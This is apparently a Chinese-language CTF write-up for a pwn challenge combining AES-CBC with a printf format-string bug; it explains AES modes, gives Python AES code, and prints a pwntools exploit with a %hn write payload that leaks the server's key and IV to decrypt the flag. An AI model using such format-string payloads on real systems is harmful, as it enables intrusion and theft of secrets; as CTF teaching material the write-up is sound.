这是一道pwn aes加密方面的
做这道题我总结的经验就是前一天一定要睡好,不然会干一些很傻XX的事情!
题目提供 aes_enc,key.aes和iv.aes三个文件,问题就出在这里,下下来把ELF直接拖进IDA里看了,
后面拷入虚拟机的时候忘了还有key和iv运行的时候总是报错。自己强行的把难度加大了,自己慢慢推才推出来
key.aes和iv.aes两个文件和长度,
提交答案的时候才发现原来有密钥和偏移量的模板的,心里顿时响起了一万匹马在草里奔腾的声音。不说废话了进入
正题。
考察点的知识点:
- AES加密
- printf格式化漏洞 (ps:怎么又是你,能不能换个堆的UAF,double free)
知识点一:AES加密
正题。AES加密为对称加密算法,也就是说加密和解密的时候密钥都是一样的,和我们经常遇到的RSA算法不同。
先说一下AES加密的模式吧!
ECB(Electronic Code Book电子密码本)模式ECB模式是最早采用和最简单的模式,它将加密的数据分成若干组,每组的大小跟加密密钥长度相同,然后每组都用相同的密钥进行加密。
优点: 1.简单; 2.有利于并行计算; 3.误差不会被扩散;
缺点: 1.不能隐藏明文的模式; 2.可能对明文进行主动攻击; 因此,此模式适于加密小消息。
CBC(Cipher Block Chaining,加密块链)模式
优点: 不容易主动攻击,安全性好于ECB,适合传输长度长的报文,是SSL、IPSec的标准。
缺点: 1.不利于并行计算; 2.误差传递; 3.需要初始化向量IV
CFB(Cipher FeedBack Mode,加密反馈)模式
优点: 1.隐藏了明文模式; 2.分组密码转化为流模式; 3.可以及时加密传送小于分组的数据;
缺点: 1.不利于并行计算; 2.误差传送:一个明文单元损坏影响多个单元; 3.唯一的IV;
OFB(Output FeedBack,输出反馈)模式
优点: 1.隐藏了明文模式; 2.分组密码转化为流模式; 3.可以及时加密传送小于分组的数据;
缺点: 1.不利于并行计算; 2.对明文的主动攻击是可能的; 3.误差传送:一个明文单元损坏影响多个单元;
因为这道题只涉及CBC模式,重点就讲解这个模式吧!
CBC模式和前面的ECB模式不同,加密过程中多了一个偏移量IV。详解请看下图。
自己画的图 有点丑别介意。
EBC(Cipher Block Chaining,加密块链)模式
CBC(Cipher Block Chaining,加密块链)模式
一般涉及AES加密,s盒与逆s盒都是固定的,嘻嘻 如果你有能力去改当我没说。除此之外还有什么轮常量什么的。
所以如果是AES CBC模式,一般我们只关心密钥Key和偏移量IV 。
加密过程中一般输入的
key:
长度为16(AES-128)、24(AES-192)、或32(AES-256)
IV:
偏移量的长度一般为16.
data:
数据的长度一般为16的整数倍,如果不满16怎么办?不满16不用负法律责任!哈哈。。。如果不满16后面的一般用0填充。
加密前的长度为16字节加密后一般也是16字节但是由字符串转成hex后长度乘以2就变成了32
这里贴一下实现的代码。
# -*- coding: utf-8 -*-
import sys
from Crypto.Cipher import AES
from binascii import b2a_hex,a2b_hex
class prpcrypt():
def __init__(self, key,iv):
self.key = key
self.iv = iv
self.mode = AES.MODE_CBC
def encrypt(self, text):
cryptor = AES.new(self.key, self.mode, self.iv)
#这里密钥key 长度必须为16(AES-128)、24(AES-192)、或32(AES-256)Bytes 长度.目前AES-128足够用 此处用的是AES-256
length = 16
count = len(text)
if(count % length != 0) :
add = length - (count % length)
else:
add = 0
text = text + ('\0' * add) #补充为16的整数倍
self.ciphertext = cryptor.encrypt(text)
#因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题
#所以这里统一把加密后的字符串转化为16进制字符串
return b2a_hex(self.ciphertext)
#解密后,去掉补足的空格用strip() 去掉
def decrypt(self, text):
cryptor = AES.new(self.key, self.mode, self.iv)
plain_text = cryptor.decrypt(a2b_hex(text))
return plain_text.rstrip('\0')
if __name__ == '__main__':
pc = prpcrypt('BEGIN-KEY{4x@$^%`w~d##*9}END-KEY','IV{212&5^V!-!}IV') #初始化密钥和IV
_str_='1234567890123456'
e = pc.encrypt(_str_)
d = pc.decrypt(e)
print '被加密的字符串长 : '+str(len(_str_))
print 'encrpt str is : '+e
print 'decrypt str is : '+d
_str_='12345678901234561'
e = pc.encrypt(_str_)
d = pc.decrypt(e)
print '被加密的字符串长 : '+str(len(_str_))
print 'encrpt str is : '+e
print 'decrypt str is : '+d
这里可以看出输入的16字节和17字节的区别。
AES告一段落了。
附上参考链接。
http://blog.csdn.net/qq_28205153/article/details/55798628
http://blog.csdn.net/xiaowang627/article/details/56270206
https://en.wikipedia.org/wiki/Rijndael_S-box
http://blog.csdn.net/lrwwll/article/details/78069013 比较好的文章是一篇漫画
知识点2:格式化字符串漏洞。
详情可以看下我的另一篇文章https://bbs.pediy.com/thread-224564.htm。或者baidu。
这个格式化漏洞可以说是一个升级版的吧。因为涉及到修改5个字节。具体看题目吧!
题目:Unbreakable encryption
套路一个样
RELRO是partial,所以.got.plt 可写。
拖入IDA一眼就能看到漏洞以为很简单。
但是看了下右边发现了问题
got表只有几个,程序是用的静态编译的像printf,puts,strlen都被编译进了程序
所以不能写只能调用。显然出题者是不想要我们去执行system(“/bin/sh”)的你也可以去尝试一下,过程是相当的艰辛。
接着来来看重头戏。
两个函数read_aes_key和read_aes_IV明显是获取key和iv的
还有记得看下面的EVP_aes_256_cbc很明显这是aes256所以密钥的长度是32
这时我们就思路就很清晰了。可以去尝试打印s和v10吧!估计这是一个坑吧!
点进去一看
恰巧memset在got表中有所以我们将memset改为printf
但是。。。。。。。
为什么说但是呢?
因为程序执行到这里的时候就会报错进入handleError,具体原因笔者也没有去研究,有兴趣的可以去试一下。
可以清晰的看到程序运行玩read_aes_iv恢复堆栈后栈中直接暴露了我们的key和iv。
所以只要我们想方设法打印出来即可这时候我们可以想到另外一个printf
里面的参数是ciphertext_msg
需要注意的的是一般字符串都是const型的也就是说只读不可写,但是这一个不一样。
哈哈权限都给我们
也就是说我们将字符串加入%12$x就可以刚好打印到iv以后在慢慢改就行了
难点就是这里,修改5个字节这里涉及到要按照先后顺序修改才行。
因为0x2078 < 0x2432 < 0x3125
所以我们 应该从小开始修改:
x1=9254
x2=2630
x3=685
payload = '\x80\xf0\x22\x08\x82\xF0\x22\x08\x84\xF0\x22\x08%.'+str(x1)+'x%8$hn%.'+str(x2)+'x%9$hn%.'+str(x3)+'x%7$hn'
运行一下payload
from pwn import *
import sys
context.arch = 'i386'
if len(sys.argv) < 2:
p = process('./aes_enc')
context.log_level = 'debug'
gdb.attach(p,'b *0x08048B18\nb *0x8048D22\nb *0x8048bfa')
else:
p = remote(sys.argv[1], int(sys.argv[2]))#
def welcome():
log.info('start send')
x1=9254
x2=2630
x3=685
payload = '\x80\xf0\x22\x08\x82\xF0\x22\x08\x84\xF0\x22\x08%.'+str(x1)+'x%8$hn%.'+str(x2)+'x%9$hn%.'+str(x3)+'x%7$hn'#0822F018 -> 08111560 8112440 24323125 2e78
p.writeline(payload)
log.info('send over')
def exp():
welcome()
p.interactive()
if __name__ == '__main__':
exp()
慢慢修改x1,x2和x3
就可以爆出服务器上的key和IV
iv: 327b5649 35263231 2d21565e 56497d21
key: 49474542 454b2d4e 78347b59 255e2440 647e7760 392a2323 444e457d 59454b2d
运行上面的aes
# -*- coding: utf-8 -*-
import sys
from Crypto.Cipher import AES
from binascii import b2a_hex,a2b_hex
class prpcrypt():
def __init__(self, key,iv):
self.key = key
self.iv = iv
self.mode = AES.MODE_CBC
def encrypt(self, text):
cryptor = AES.new(self.key, self.mode, self.iv)
#这里密钥key 长度必须为16(AES-128)、24(AES-192)、或32(AES-256)Bytes 长度.目前AES-128足够用
length = 16
count = len(text)
if(count % length != 0) :
add = length - (count % length)
else:
add = 0
text = text + ('\0' * add)
self.ciphertext = cryptor.encrypt(text)
#因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题
#所以这里统一把加密后的字符串转化为16进制字符串
return b2a_hex(self.ciphertext)
#解密后,去掉补足的空格用strip() 去掉
def decrypt(self, text):
cryptor = AES.new(self.key, self.mode, self.iv)
plain_text = cryptor.decrypt(a2b_hex(text))
return plain_text.rstrip('\0')
if __name__ == '__main__':
pc = prpcrypt('BEGIN-KEY{4x@$^%`w~d##*9}END-KEY','IV{212&5^V!-!}IV') #初始化密钥
d = pc.decrypt("4087681ab02373c46144b4c021f1630b73e90d38e4bdd83341642c4385d4540ef5bc8c02dbee0de8d629813a5fcb63bd")
print 'decrypt is : '+d
可以得到flag
题目链接:
https://ctf.pragyan.org/总结:
印度阿三的想法就是怪!
熟悉AES算法啊
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开
发者可享99元/年,续费同价!
最后于 2018-3-6 18:23
被大帅锅编辑
,原因: